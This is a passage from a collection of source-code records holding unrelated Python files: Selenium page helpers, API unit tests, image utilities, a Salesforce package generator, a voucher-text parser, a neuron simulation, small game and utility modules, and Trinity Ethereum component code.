\"delect_all\")\n\n\tu'''点击资源组检索按钮'''\n\tdef click_regroup_query(self):\n\n\t\tself.frameElem.from_frame_to_otherFrame(\"rigthFrame\")\n\t\tself.getElem.find_element_wait_and_click_EC(\"id\", \"query_Resource\")\n\n\tu'''点击资源组重置按钮'''\n\tdef click_regroup_reset(self):\n\t\tself.frameElem.from_frame_to_otherFrame(\"rigthFrame\")\n\t\tself.getElem.find_element_wait_and_click_EC(\"id\", \"resetting\")\n\n\tu'''资源组页面填写资源名称或IP\n\t parameter:\n\t - renameorip:资源名称或IP\n\t'''\n\tdef set_rename_ip(self, renameorip):\n\t\tself.frameElem.from_frame_to_otherFrame(\"rigthFrame\")\n\t\tself.getElem.find_element_wait_and_clear('id', \"txtfortResourceAccountOrIp\")\n\t\tself.getElem.find_element_wait_and_sendkeys('id', \"txtfortResourceAccountOrIp\", renameorip)\n\n\tu'''点击资源组添加资源的检索按钮'''\n\tdef click_regroup_add_resouce_query(self):\n\n\t\tself.frameElem.from_frame_to_otherFrame(\"artIframe\")\n\t\tself.getElem.find_element_wait_and_click_EC(\"id\", \"quick_Resource\")\n\n\tu'''点击资源组添加资源的重置按钮'''\n\tdef click_regroup_add_resouce_reset(self):\n\n\t\tself.frameElem.from_frame_to_otherFrame(\"artIframe\")\n\t\tself.getElem.find_element_wait_and_click_EC(\"id\", \"resetting\")\n\n\tu'''添加资源页面填写资源名称\n\t parameter:\n\t - rename:资源名称\n\t'''\n\tdef set_rename(self, rename):\n\t\tself.frameElem.from_frame_to_otherFrame(\"artIframe\")\n\t\tself.getElem.find_element_wait_and_clear('id', \"fort_resource_name\")\n\t\tself.getElem.find_element_wait_and_sendkeys('id', \"fort_resource_name\", rename)\n\n\tu'''添加资源页面填写资源ip\n\t parameter:\n\t - ipdress:资源ip\n\t'''\n\tdef set_ip(self, ipdress):\n\t\tself.frameElem.from_frame_to_otherFrame(\"artIframe\")\n\t\tself.getElem.find_element_wait_and_clear('id', \"fort_resource_ip\")\n\t\tself.getElem.find_element_wait_and_sendkeys('id', \"fort_resource_ip\", ipdress)\n\n\tu'''点击资源部门展开按钮'''\n\tdef click_resource_depart_switch(self):\n\t\tself.frameElem.from_frame_to_otherFrame(\"artIframe\")\n\t\tself.getElem.find_element_wait_and_click_EC(\"id\", \"user_tree_1_switch\")\n\n\tu'''勾选部门框\n\t parameter:\n\t - deptname:传入要被勾选的部门名称\n\t'''\n\tdef check_depart(self, deptname):\n\t\tself.click_resource_depart_switch()\n\t\tself.frameElem.from_frame_to_otherFrame(\"artIframe\")\n\t\tself.click_public_method(deptname, \"user_tree_\", \"_check\")\n\n\tu'''勾选资源框或者部门框\n\t parameter:\n\t\t - rename:资源名称或者部门名称 \n\t'''\n\tdef check_one_resource(self, rename):\n\t\tself.frameElem.from_frame_to_otherFrame(\"artIframe\")\n\t\t#获取table对象\n\t\ttableelem = self.getElem.find_element_with_wait_EC(\"id\", \"user_table\")\n\t\t#获取table对象下的所有tr\n\t\ttrelems = tableelem.find_elements_by_tag_name(\"tr\")\n\t\t#位于第几行\n\t\tline = 0\n\n\t\t#循环所有tr\n\t\tfor trelem in trelems:\n\t\t\tline += 1\n\t\t\t#找到tr下所有td对象\n\t\t\ttds = trelem.find_elements_by_tag_name(\"td\")\n\t\t\t#获取td[2]的文本\n\t\t\ttdtext = tds[1].text\n\t\t\tif tdtext == rename:\n\t\t\t\txpath = \"/html/body/div[3]/div[2]/table/tbody/tr[\" + str(line) + \"]/td[1]/li/input\"\n\t\t\t\tself.getElem.find_element_wait_and_click_EC(\"xpath\", xpath)\n\t\t\t\tbreak\n\n\tu'''勾选全部资源框或者部门框'''\n\tdef check_all_resource(self):\n\t\tself.frameElem.from_frame_to_otherFrame(\"artIframe\")\n\t\tself.getElem.find_element_wait_and_click_EC(\"id\", \"user_check_all\")\n\n\tu'''点击资源确定按钮'''\n\tdef click_resource_okbutton(self):\n\t\tself.frameElem.switch_to_content()\n\t\tself.getElem.find_element_wait_and_click_EC(\"id\", \"okButton\")\n\n\tu'''点击公共方法\n\t parameter:\n\t - name:传入要被操作的名称\n\t - first:id的前半段字符\n\t - end:id的后半段字符,可以不进行填写\n\t'''\n\tdef click_public_method(self, name, first, end='no'):\n\n\t\tself.frameElem.from_frame_to_otherFrame(\"artIframe\")\n\n\t\t#获取所有a标签的对象\n\t\telems = self.driver.find_elements_by_tag_name(\"a\")\n\n\t\tfor elem in elems:\n\t\t\telemtext = elem.get_attribute(\"title\")\n\t\t\telemid = elem.get_attribute(\"id\")\n\t\t\tselemid = self.cnEn.cnCode(elemid)\n\n\t\t\tif name == elemtext:\n\t\t\t\tself.getElem.find_element_wait_and_click(\"id\", elemid)\n\n\t\t\t\tif end != 'no':\n\t\t\t\t\tbuttonid = first + filter(str.isdigit, selemid) + end\n\t\t\t\telse:\n\t\t\t\t\tbuttonid = first + filter(str.isdigit, selemid)\n\n\t\t\t\tself.getElem.find_element_wait_and_click(\"id\", buttonid)\n\t\t\t\tbreak\n","sub_path":"webElement/group/test_regroup_ment.py","file_name":"test_regroup_ment.py","file_ext":"py","file_size_in_byte":11673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"113572079","text":"#!/use/bin/env python\n#coding:utf-8 \n\n#Author:WuYa\n\nimport unittest\nimport json\nfrom base.method import Method,IsContent\nfrom page.laGou import *\nfrom utils.public import *\nfrom utils.operationExcel import OperationExcel\nfrom utils.operationJson import OperationJson\n\nclass LaGou(unittest.TestCase):\n\tdef setUp(self):\n\t\tself.obj=Method()\n\t\tself.p=IsContent()\n\t\tself.execl=OperationExcel()\n\t\tself.operationJson=OperationJson()\n\n\tdef statusCode(self,r):\n\t\tself.assertEqual(r.status_code, 200)\n\t\tself.assertEqual(r.json()['code'], 0)\n\n\tdef isContent(self,r,row):\n\t\tself.statusCode(r=r)\n\t\tself.assertTrue(self.p.isContent(row=row,str2=r.text))\n\n\tdef test_laGou_001(self):\n\t\t'''拉钩:测试翻页'''\n\t\tr = self.obj.post(row=1,data=self.operationJson.getRequestsData(1))\n\t\tself.isContent(r=r,row=1)\n\t\tself.execl.writeResult(1,'pass')\n\n\tdef test_laGou_002(self):\n\t\t'''拉钩:测试关键字的职位搜索'''\n\t\tr =self.obj.post(row=1,data=setSo('Python开发工程师'))\n\t\tlist1=[]\n\t\tfor i in range(0,15):\n\t\t\tpositionId=r.json()['content']['positionResult']['result'][i]['positionId']\n\t\t\tlist1.append(positionId)\n\t\twritePositionId(json.dumps(list1))\n\n\tdef test_lgGou_003(self):\n\t\t'''访问搜索到的每个职位的详情页信息'''\n\t\tfor i in range(15):\n\t\t\tr=self.obj.get(url=getUrl()[i])\n\t\t\tself.assertTrue(self.p.isContent(2,r.text))\n\nif __name__ == '__main__':\n unittest.main(verbosity=2)\n","sub_path":"interface testing/tests/test_laGou.py","file_name":"test_laGou.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"44480538","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\nfrom glob import glob\nimport os\n\nfrom PIL import Image\n\n\ndef make_dir(target_path):\n if not os.path.exists(target_path):\n os.mkdir(target_path)\n\n\ndef get_filenames(target_path, ext=''):\n filenames = glob(os.path.join(target_path, '*' + ext))\n return sorted(filenames)\n\n\ndef get_prefix(filename):\n prefix = os.path.split(os.path.splitext(filename)[0])[-1]\n return prefix\n\n\ndef bw_to_rgb(img_path_save, filename):\n img = Image.open(filename)\n if img.mode == 'L':\n img = img.convert('RGB')\n fn_rgb = get_prefix(filename) + '.jpg'\n img.save(os.path.join(img_path_save, fn_rgb), \"JPEG\", quality=100)\n\n\ndef img_resizer(img_path_save, filename, height):\n img = Image.open(filename)\n width = int(height * img.size[0] / float(img.size[1]))\n img = img.resize((width, height), Image.ANTIALIAS)\n fn_resize = '{0}_h{1}.jpg'.format(get_prefix(filename), str(height))\n img.save(os.path.join(img_path_save, fn_resize), 'JPEG', quality=100)\n\n\ndef img_rotator(img_path_save, filename):\n img = Image.open(filename)\n for ang in [90, 180, 270]:\n img_rotate = img.rotate(ang)\n fn_rotation = '{0}_{1}.jpg'.format(get_prefix(filename),\n str(ang).zfill(3))\n img_rotate.save(os.path.join(img_path_save, fn_rotation),\n \"JPEG\", quality=100)\n\n\ndef img_pixelizer(img_path_save, filename, m=20):\n img = Image.open(filename)\n width, height = img.size\n img_pix = img.resize((width/m, height/m))\n img_pix = img_pix.resize((width, height))\n fn_pix = get_prefix(filename) + '_pix.jpg' \n img_pix.save(os.path.join(img_path_save, fn_pix), \"JPEG\", quality=100)\n\n\ndef tiff_to_jpg(img_path_save, filename):\n img = Image.open(filename)\n fn_tiff = get_prefix(filename) + '.jpg'\n img.save(os.path.join(img_path_save, fn_tiff), \"JPEG\", quality=100)\n\n\nif __name__ == \"__main__\":\n import logging\n import logging.config\n import sys\n\n logging.config.fileConfig('logging.ini')\n logger = logging.getLogger(__name__)\n img_path_read = sys.argv[1]\n img_path_save = sys.argv[2]\n # height = int(sys.argv[3])\n\n make_dir(img_path_save)\n filenames = get_filenames(img_path_read, ext='.jpg')\n for filename in filenames:\n logger.info(filename)\n # bw_to_rgb(img_path_save, filename)\n # img_resizer(img_path_save, filename, height)\n # img_rotator(img_path_save, filename)\n img_pixelizer(img_path_save, filename)\n # tiff_to_jpg(img_path_save, filename)\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"419286771","text":"import json\nfrom modules.utils import argparser\n\nXMLNS = '{http://soap.sforce.com/2006/04/metadata}'\nIDENTATION = ' '\nPACKAGE_PATH = 'package.xml'\n\ndef main():\n \n args = argparser.parseArgs()\n\n request = str( args.jsonBody ).replace( '\\\\n', '' )\n packageBody = json.loads( request )\n generatePackage( packageBody, args.apiVersion )\n\n\ndef generatePackage( packageBody, apiVersion ):\n\n packageString = '\\n\\n'\n\n listMetadataTypes = sorted( packageBody.keys() )\n\n for metadataType in listMetadataTypes:\n typeComponent = IDENTATION + '\\n'\n listMetadataComponents = sorted( packageBody[ metadataType ] )\n for metatadaComponent in listMetadataComponents:\n typeComponent += IDENTATION*2 + '' + metatadaComponent + '\\n'\n typeComponent += IDENTATION*2 + '' + metadataType + '\\n'\n typeComponent += IDENTATION + '\\n'\n packageString += typeComponent\n packageString += IDENTATION + '' + apiVersion + '\\n'\n packageString += ''\n\n with open( PACKAGE_PATH, 'w' ) as fileOut:\n fileOut.write( packageString )\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"generatePackage/generatePackage.py","file_name":"generatePackage.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"141617316","text":"'''\n\n'''\nimport pandas as pd\nfrom xlwt import *\nimport pdb\nimport re\n\n#File variables. Asks for the file date to look for the specific file. Files should be named in the same convention. File path may need to be updated if folder moves.\nfilepath = r'O:\\Medical Informatics-General\\2018 Physician Vouchers\\Reveal\\PV Text\\Physician Voucher Text '\nexcelfilepath = r'O:\\Medical Informatics-General\\2018 Physician Vouchers\\Reveal\\PV Excel\\Physician Voucher Excel '\nfiledate = str(input('What is the check date? ex: YYYYMMDD -> 20180504 | '))\nfileext = '.txt'\nexcelfileext = '.xlsx'\n\n#Opening text file and reading data inside\nvoucher = filepath + filedate + fileext\nopenvoucher = open(voucher)\nstrvoucher = pd.Series(openvoucher.read())\n\n#Initiating an Excel workbook\n#excel_pv = add_sheet()\n\n\n#Extract Member ID aka F1\nF1_list = []\nF1_str = strvoucher.str.replace('Mbr ID #:','@')\nF1_df = F1_str.str.extractall(\"[@](\\S{1,2}\\d{9,10})\")\nF1 = 0\nfor x in F1_df[0]:\n\tF1_list.append(x)\n\tF1 += 1\n\n#Extract Provider NPI aka F2\nF2_list = []\nF2_str = strvoucher.str.replace('Prov NPI #:','@')\nF2_df = F2_str.str.extractall(\"[@](\\d{10})\")\nF2 = 0\nfor x in F2_df[0]:\n\tF2_list.append(x)\n\tF2 += 1\n\n#Extract Patiant Account aka F3\nF3_list = []\nF3_str = strvoucher.str.replace('Pat Acct #:','@')\nF3_df = F3_str.str.extractall(\"[@](\\d{1,10})\")\nF3 = 0\nfor x in F3_df[0]:\n\tF3_list.append(x)\n\tF3 += 1\n\n#Extract Claim Number aka F4\nF4_list = []\nF4_str = strvoucher.str.replace('Claim #: ','@')\nF4_df = F4_str.str.extractall(\"[@](\\d{14})\")\nF4 = 0\nfor x in F4_df[0]:\n\tF4_list.append(x)\n\tF4 += 1\n\n#Extract Member Name aka F5\nF5_list = []\nF5_str = strvoucher.str.replace('Member: ','@')\nF5_df = F5_str.str.extractall(\"[@]([\\S{20} \\S{20}])\")\nF5 = 0\nfor x in F5_df[0]:\n\tF5_list.append(x)\n\tF5 += 1\n\n#Extract Provider Name aka F6\nF6_list = []\nF6_str = strvoucher.str.replace('Provider:','@')\nF6_df = F6_str.str.extractall(\"[@](\\S........................)\")\nF6 = 0\nfor x in F6_df[0]:\n\tF6_list.append(x)\n\tF6 += 1\n\n#Extract Plan aka F7\nF7_list = []\nF7_str = strvoucher.str.replace('Product/Plan name:','@')\nF7_df = F7_str.str.extractall(\"[@](\\S....................................)\")\nF7 = 0\nfor x in F7_df[0]:\n\tF7_list.append(x)\n\tF7 += 1\n\n#Extract POS aka F8\nF8_list = []\nF8_df = strvoucher.str.split()\nF8 = 0\ny = re.compile('\\d\\d')\nfor x in F8_df:\n\tif x == y:\n\t\tF8_list.append(x)\n\t\tF8 += 1\n\n#Extract EOP aka F10\nF10_list = []\nF10_str = strvoucher.str.replace('\\d\\d/\\d\\d/\\d\\d......','@')\nF10_df = F10_str.str.extractall(\"[@](.[\\d|\\S].....)\")\nF10 = 0\nfor x in F10_df[0]:\n\tF10_list.append(x)\n\tF10 += 1\n\n#Extract Amount Paid aka F13\nF13_list = []\nF13_str = strvoucher.str.replace(' 0.00 0.00 ..... 0.00 ','@')\nF13_df = F13_str.str.extractall(\"[@](....\\d\\d)\")\nF13 = 0\nfor x in F13_df[0]:\n\tF13_list.append(x)\n\tF13 += 1\n\npdb.set_trace()\n\n#print(pd.DataFrame({'Member ID': F1_list, 'Provider NPI': F2_list, 'Patient Account': F3_list, 'Claim Number': F4_list, 'Member': F5_list, 'Provider': F6_list, 'Plan': F7_list, 'EOP': F10_list, 'Amt Paid': F13_list}))","sub_path":"General Python Codes WIP/extract_pv.py","file_name":"extract_pv.py","file_ext":"py","file_size_in_byte":3126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"349919150","text":"from brian2 import *\nimport matplotlib.pyplot as plt\nimport png\nimport helpers as helpers\n\nprefs.codegen.target = 'numpy'\n\nn = 10\ntau = 10*ms\neqs = '''\ndv/dt = (v0 - v) / tau : volt (unless refractory)\nv0 : volt\nrow : integer (constant)\ncolumn : integer (constant)\n'''\n\n\ninputVector = [1,2,3,4,5,6,7,8,9,10]\n@check_units(columns_index=1, row_index=1, result=1)\ndef video_input(columns_index, row_index):\n\t\n\tresult = []\n\tfor neuron_index in range(len(columns_index)):\n\t\tresult.append(inputVector[neuron_index])\n\tprint ('return = ', result)\t\t\n\treturn result\n\ninputNeurons = NeuronGroup(n, eqs, threshold='v >= 1*mV', reset='v = 0*mV',\n refractory=5*ms, method='linear')\ninputNeurons.v = 0*mV\n# group.v0 = '20*mV * 1'\n\ninputNeurons.run_regularly('''v0 = video_input(row, column)*mV''',\n dt=0.05*second)\n\n\nmon = SpikeMonitor(inputNeurons, record=True)\nrun(1.2*second, report='text')\n\n# spike_trains = mon.spike_trains(); \n\n# print(spike_trains)\n\nplt.figure(figsize=(10, 5))\nplot(mon.t/ms, mon.i, '.k')\nxlabel('Время (мс)')\nylabel('Neuron index')\nsavefig('Vecrtor_example'+'.png');","sub_path":"lif.py","file_name":"lif.py","file_ext":"py","file_size_in_byte":1118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"609263020","text":"f = open(\"base.txt\", \"r\", encoding=\"utf8\")\n\ndata = f.read().split(\"#\")[1:]\ndata = [i.split(\"\\n\")[:-1] for i in data]\nd = {}\nfor i in data:\n d[i[0]] = [j.split(\":\") for j in i[1:]]\n\n\ndef get_base(theme=None):\n if theme is None:\n return [j for i in d.values() for j in i]\n else:\n return [i for i in d.values()][theme]\n\n\ndef get_themes():\n return d.keys()\n","sub_path":"base_engine.py","file_name":"base_engine.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"329685933","text":"from models.position import Position\nfrom models.item import Item\n\nimport random\n\nclass Labyrinth:\n\n def __init__(self):\n \"\"\" Cette fonction initialise un labyrinthe avec des chemins, une position de départ, d'arrivée, et des murs. \"\"\"\n\n self.paths = []\n self.start = None\n self.end = None\n self.walls = []\n self.bar = []\n self.item_positions = {}\n\n def define_path(self, filename):\n \"\"\" Cette fonction map les chemins et les positions du labyrinthe en fonction d'un fichier texte. \"\"\"\n \n with open(filename) as file:\n content = file.readlines()\n for num_line, line in enumerate(content):\n for num_c, c in enumerate(line):\n if c == \"P\":\n self.paths.append(Position(num_c, num_line))\n elif c == \"D\":\n self.start = Position(num_c, num_line)\n elif c == \"A\":\n self.end = Position(num_c, num_line)\n elif c == \"-\":\n self.walls.append(Position(num_c, num_line))\n elif c == \"#\":\n self.bar.append(Position(num_c, num_line))\n self.width = num_c + 1\n self.length = num_line + 1\n \n self.paths.append(self.end)\n self.paths.append(self.start)\n\n self.random_positions = random.sample(self.paths[:-2], 3)\n \n def random_pos(self, number):\n \"\"\" This gives a position in paths that is neither the beginning nor the end. \"\"\"\n return self.random_positions[number]","sub_path":"models/labyrinth.py","file_name":"labyrinth.py","file_ext":"py","file_size_in_byte":1637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"326511221","text":"import types\nimport inspect\nimport collections\nfrom pydoc import locate\nfrom fuze.constants.enums.generic import BasicTypes\n\n\n\ndef resolve(name, silent=False):\n t = locate(name)\n if not t:\n if not silent:\n raise LookupError(\"The specified type could not be found: \" + name)\n return t\n\n\ndef isgenerator(fn):\n return isinstance(fn, types.GeneratorType)\n # return inspect.isgeneratorfunction(fn)\n\n\ndef isgeneratorfunction(fn):\n return inspect.isgeneratorfunction(fn)\n\n\ndef isclass(o):\n return inspect.isclass(o)\n\n\ndef isiterable(o):\n \"\"\"Return True if the input parameter is iterable, False otherwise.\"\"\"\n if not isinstance(o, (list, tuple, collections.Iterable)):\n if not isgenerator(o) and not isgeneratorfunction(o):\n return False\n return True\n\n\ndef isprimitive(o):\n \"\"\"Return True if the input parameter is a primitive type (or None), False otherwise.\"\"\"\n if o is None:\n return True\n\n # if isinstance(o, (list, tuple, dict)) or hasattr(o, \"__dict__\") or hasattr(o, \"__slots__\"):\n # return False\n\n if isinstance(o, (str, int, bool, float)):\n return True\n return False\n\n\ndef istype(o, *types):\n \"\"\"Check if the input matches one of the specified types.\"\"\"\n if not o:\n return False\n\n def _getsubclasses(cls, *lst):\n lst = [cls] if not lst else lst[0]\n for b in cls.__bases__:\n if b not in lst:\n lst.append(b)\n if hasattr(b, \"__bases__\"):\n _getsubclasses(b, lst)\n return lst\n\n types = [t for t in types]\n if types and isinstance(types[0], list):\n types = types[0]\n\n on = o.__class__.__name__ if hasattr(o, \"__class__\") else o.__name__ if hasattr(o, \"__name__\") else \"\"\n is_cls = True if hasattr(o, \"__class__\") else False\n for t in types:\n if not is_cls:\n if isinstance(o, t):\n return True\n\n tn = t if isinstance(t, str) else t.__name__\n if on == tn:\n return True\n\n if hasattr(o, \"__bases__\"):\n bases = _getsubclasses(o)\n for b in bases:\n if b == t or b.__name__ == tn or b.__name__ == on:\n return True\n return False","sub_path":"fuze/util/typetools.py","file_name":"typetools.py","file_ext":"py","file_size_in_byte":2258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"461709434","text":"from abc import (\n ABC,\n abstractmethod\n)\nfrom argparse import (\n ArgumentParser,\n _SubParsersAction,\n)\nimport asyncio\nimport contextlib\nimport logging\nimport os\nimport pathlib\nimport signal\nfrom typing import AsyncIterator, Optional, Tuple, Type, TYPE_CHECKING, Union\n\nfrom asyncio_run_in_process.typing import SubprocessKwargs\n\n\nfrom lahja import AsyncioEndpoint, ConnectionConfig, EndpointAPI, TrioEndpoint\n\nfrom trinity._utils.os import friendly_filename_or_url\nfrom trinity._utils.logging import get_logger\nfrom trinity.boot_info import BootInfo\nfrom trinity.cli_parser import parser, subparser\nfrom trinity.config import BaseAppConfig, BeaconAppConfig, Eth1AppConfig, TrinityConfig\nfrom trinity.constants import APP_IDENTIFIER_BEACON, APP_IDENTIFIER_ETH1, SYNC_FULL\nfrom trinity.initialization import initialize_data_dir, is_data_dir_initialized\n\nif TYPE_CHECKING:\n from trinity.extensibility.trio import TrioIsolatedComponent # noqa: F401\n from trinity.extensibility.asyncio import AsyncioIsolatedComponent # noqa: F401\n\nlogger = logging.getLogger('trinity.extensibility.component')\n\n\nclass BaseComponentAPI(ABC):\n @classmethod\n @abstractmethod\n def configure_parser(cls, arg_parser: ArgumentParser, subparser: _SubParsersAction) -> None:\n \"\"\"\n Give the component a chance to amend the Trinity CLI argument parser.\n \"\"\"\n ...\n\n @classmethod\n @abstractmethod\n def validate_cli(cls, boot_info: BootInfo) -> None:\n \"\"\"\n Give the component a chance to do runtime validation of the command line arguments.\n \"\"\"\n ...\n\n\nclass Application(BaseComponentAPI):\n @classmethod\n def validate_cli(cls, boot_info: BootInfo) -> None:\n pass\n\n\nclass ComponentAPI(BaseComponentAPI):\n name: str\n\n @abstractmethod\n def __init__(self, boot_info: BootInfo) -> None:\n ...\n\n @property\n @abstractmethod\n def is_enabled(self) -> bool:\n ...\n\n @abstractmethod\n async def run(self) -> None:\n ...\n\n\nclass BaseComponent(ComponentAPI):\n def __init__(self, boot_info: BootInfo) -> None:\n if not hasattr(self, 'name'):\n raise AttributeError(f\"No name attribute defined for {self.__class__}\")\n self._boot_info = boot_info\n\n @classmethod\n def configure_parser(cls, arg_parser: ArgumentParser, subparser: _SubParsersAction) -> None:\n pass\n\n @classmethod\n def validate_cli(cls, boot_info: BootInfo) -> None:\n pass\n\n\nclass BaseIsolatedComponent(BaseComponent):\n \"\"\"\n A :class:`~trinity.extensibility.component.BaseIsolatedComponent` runs in an isolated process\n and hence provides security and flexibility by not making assumptions about its internal\n operations.\n\n Such components are free to use non-blocking asyncio as well as synchronous calls. When an\n isolated component is stopped it does first receive a SIGINT followed by a SIGTERM soon after.\n It is up to the component to handle these signals accordingly.\n \"\"\"\n endpoint_name: str = None\n\n def get_subprocess_kwargs(self) -> Optional[SubprocessKwargs]:\n # By default we want every child process its own process group leader as we don't want a\n # Ctrl-C in the terminal to send a SIGINT to each one of our process, as that is already\n # handled by open_in_process().\n start_new_session = True\n if os.getenv('TRINITY_SINGLE_PROCESS_GROUP') == \"1\":\n # This is needed because some of our integration tests rely on all processes being in\n # a single process group.\n start_new_session = False\n return {'start_new_session': start_new_session}\n\n @classmethod\n def get_endpoint_name(cls) -> str:\n if cls.endpoint_name is None:\n return friendly_filename_or_url(cls.name)\n else:\n return cls.endpoint_name\n\n\nasync def _cleanup_component_task(component_name: str, task: \"asyncio.Future[None]\") -> None:\n logger.debug(\"Stopping component: %s\", component_name)\n if not task.done():\n # XXX: This could be a component that crashed and sent a ShutdownRequest to trinity, and\n # in that case by cancelling it we will throw away the exception that caused it to crash.\n # Unfortunately there's no way to distinguish between a component that crashed and just\n # hasn't terminated yet and one that is still running, as in both cases all we have is a\n # task that is not done(), so the best thing we can do is make sure our *Component base\n # classes log any exceptions coming from subclasses (i.e. the do_run() method) before\n # propagating them.\n logger.debug(\"%s component not done yet, cancelling it\", component_name)\n task.cancel()\n else:\n logger.debug(\"%s component already done\", component_name)\n try:\n await task\n except asyncio.CancelledError:\n pass\n logger.debug(\"Stopped component: %s\", component_name)\n\n\n@contextlib.asynccontextmanager\nasync def run_component(component: ComponentAPI) -> AsyncIterator[None]:\n task = asyncio.ensure_future(component.run())\n logger.debug(\"Starting component: %s\", component.name)\n try:\n yield\n finally:\n await _cleanup_component_task(component.name, task)\n\n\n@contextlib.asynccontextmanager\nasync def _run_asyncio_component_in_proc(\n component: 'AsyncioIsolatedComponent',\n event_bus: EndpointAPI,\n) -> AsyncIterator[None]:\n \"\"\"\n Run the given AsyncioIsolatedComponent in the same process as ourselves.\n \"\"\"\n task = asyncio.ensure_future(component.do_run(event_bus))\n logger.info(\"Starting component: %s\", component.name)\n try:\n yield\n finally:\n await _cleanup_component_task(component.name, task)\n\n\n@contextlib.asynccontextmanager\nasync def _run_trio_component_in_proc(\n component: 'TrioIsolatedComponent',\n event_bus: EndpointAPI,\n) -> AsyncIterator[None]:\n \"\"\"\n Run the given TrioIsolatedComponent in the same process as ourselves.\n \"\"\"\n import trio\n logger.info(\"Starting component: %s\", component.name)\n async with trio.open_nursery() as nursery:\n nursery.start_soon(component.do_run, event_bus)\n yield\n nursery.cancel_scope.cancel()\n logger.debug(\"Stopped component: %s\", component.name)\n\n\ndef _setup_standalone_component(\n component_type: Union[Type['TrioIsolatedComponent'], Type['AsyncioIsolatedComponent']],\n app_identifier: str,\n) -> Tuple[Union['TrioIsolatedComponent', 'AsyncioIsolatedComponent'], Tuple[str, ...]]:\n if app_identifier == APP_IDENTIFIER_ETH1:\n app_cfg: Type[BaseAppConfig] = Eth1AppConfig\n elif app_identifier == APP_IDENTIFIER_BEACON:\n app_cfg = BeaconAppConfig\n else:\n raise ValueError(\"Unknown app identifier: %s\", app_identifier)\n\n # Require a root dir to be specified as we don't want to mess with the default one.\n for action in parser._actions:\n if action.dest == 'trinity_root_dir':\n action.required = True\n break\n\n component_type.configure_parser(parser, subparser)\n parser.add_argument(\n '--connect-to-endpoints',\n help=\"A list of event bus IPC files for components we should connect to\",\n nargs='+',\n default=tuple(),\n )\n args = parser.parse_args()\n # FIXME: Figure out a way to avoid having to set this.\n args.sync_mode = SYNC_FULL\n args.enable_metrics = False\n\n logging.basicConfig(\n level=logging.INFO, format='%(asctime)s %(levelname)s: %(message)s', datefmt='%H:%M:%S')\n if args.log_levels is not None:\n for name, level in args.log_levels.items():\n get_logger(name).setLevel(level)\n\n trinity_config = TrinityConfig.from_parser_args(args, app_identifier, (app_cfg,))\n trinity_config.trinity_root_dir.mkdir(exist_ok=True)\n if not is_data_dir_initialized(trinity_config):\n initialize_data_dir(trinity_config)\n boot_info = BootInfo(\n args=args,\n trinity_config=trinity_config,\n min_log_level=None,\n logger_levels=None,\n profile=False,\n )\n return component_type(boot_info), args.connect_to_endpoints\n\n\n@contextlib.asynccontextmanager\nasync def _run_eventbus_for_component(\n component: Union['TrioIsolatedComponent', 'AsyncioIsolatedComponent'],\n connect_to_endpoints: Tuple[str, ...],\n) -> AsyncIterator[None]:\n from trinity.extensibility.trio import TrioIsolatedComponent\n from trinity.extensibility.asyncio import AsyncioIsolatedComponent\n if isinstance(component, TrioIsolatedComponent):\n endpoint_type: Union[Type[TrioEndpoint], Type[AsyncioEndpoint]] = TrioEndpoint\n elif isinstance(component, AsyncioIsolatedComponent):\n endpoint_type = AsyncioEndpoint\n else:\n raise ValueError(\"Unknown component type: %s\", type(component))\n trinity_config = component._boot_info.trinity_config\n conn_config = ConnectionConfig.from_name(\n component.get_endpoint_name(), trinity_config.ipc_dir)\n async with endpoint_type.serve(conn_config) as event_bus:\n for endpoint in connect_to_endpoints:\n path = pathlib.Path(endpoint)\n if not path.is_socket():\n raise ValueError(\"Invalid IPC path: {path}\")\n connection_config = ConnectionConfig(name=path.stem, path=path)\n logger.info(\"Attempting to connect to eventbus endpoint at %s\", connection_config)\n await event_bus.connect_to_endpoints(connection_config)\n yield event_bus\n\n\ndef run_asyncio_eth1_component(component_type: Type['AsyncioIsolatedComponent']) -> None:\n import asyncio\n loop = asyncio.get_event_loop()\n got_sigint = asyncio.Event()\n loop.add_signal_handler(signal.SIGINT, got_sigint.set)\n loop.add_signal_handler(signal.SIGTERM, got_sigint.set)\n\n async def run() -> None:\n component, connect_to_endpoints = _setup_standalone_component(\n component_type, APP_IDENTIFIER_ETH1)\n async with _run_eventbus_for_component(component, connect_to_endpoints) as event_bus:\n async with _run_asyncio_component_in_proc(component, event_bus) as task:\n await asyncio.wait(\n [got_sigint.wait(), task],\n return_when=asyncio.FIRST_COMPLETED\n )\n\n loop.run_until_complete(run())\n\n\ndef _run_trio_component(component_type: Type['TrioIsolatedComponent'], app_identifier: str) -> None:\n import trio\n\n async def run() -> None:\n component, connect_to_endpoints = _setup_standalone_component(\n component_type, app_identifier)\n with trio.open_signal_receiver(signal.SIGINT, signal.SIGTERM) as signal_aiter:\n async with _run_eventbus_for_component(component, connect_to_endpoints) as event_bus:\n async with _run_trio_component_in_proc(component, event_bus):\n async for sig in signal_aiter:\n return\n\n trio.run(run)\n\n\ndef run_trio_eth1_component(component_type: Type['TrioIsolatedComponent']) -> None:\n _run_trio_component(component_type, APP_IDENTIFIER_ETH1)\n\n\ndef run_trio_eth2_component(component_type: Type['TrioIsolatedComponent']) -> None:\n _run_trio_component(component_type, APP_IDENTIFIER_BEACON)\n","sub_path":"trinity/extensibility/component.py","file_name":"component.py","file_ext":"py","file_size_in_byte":11281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} 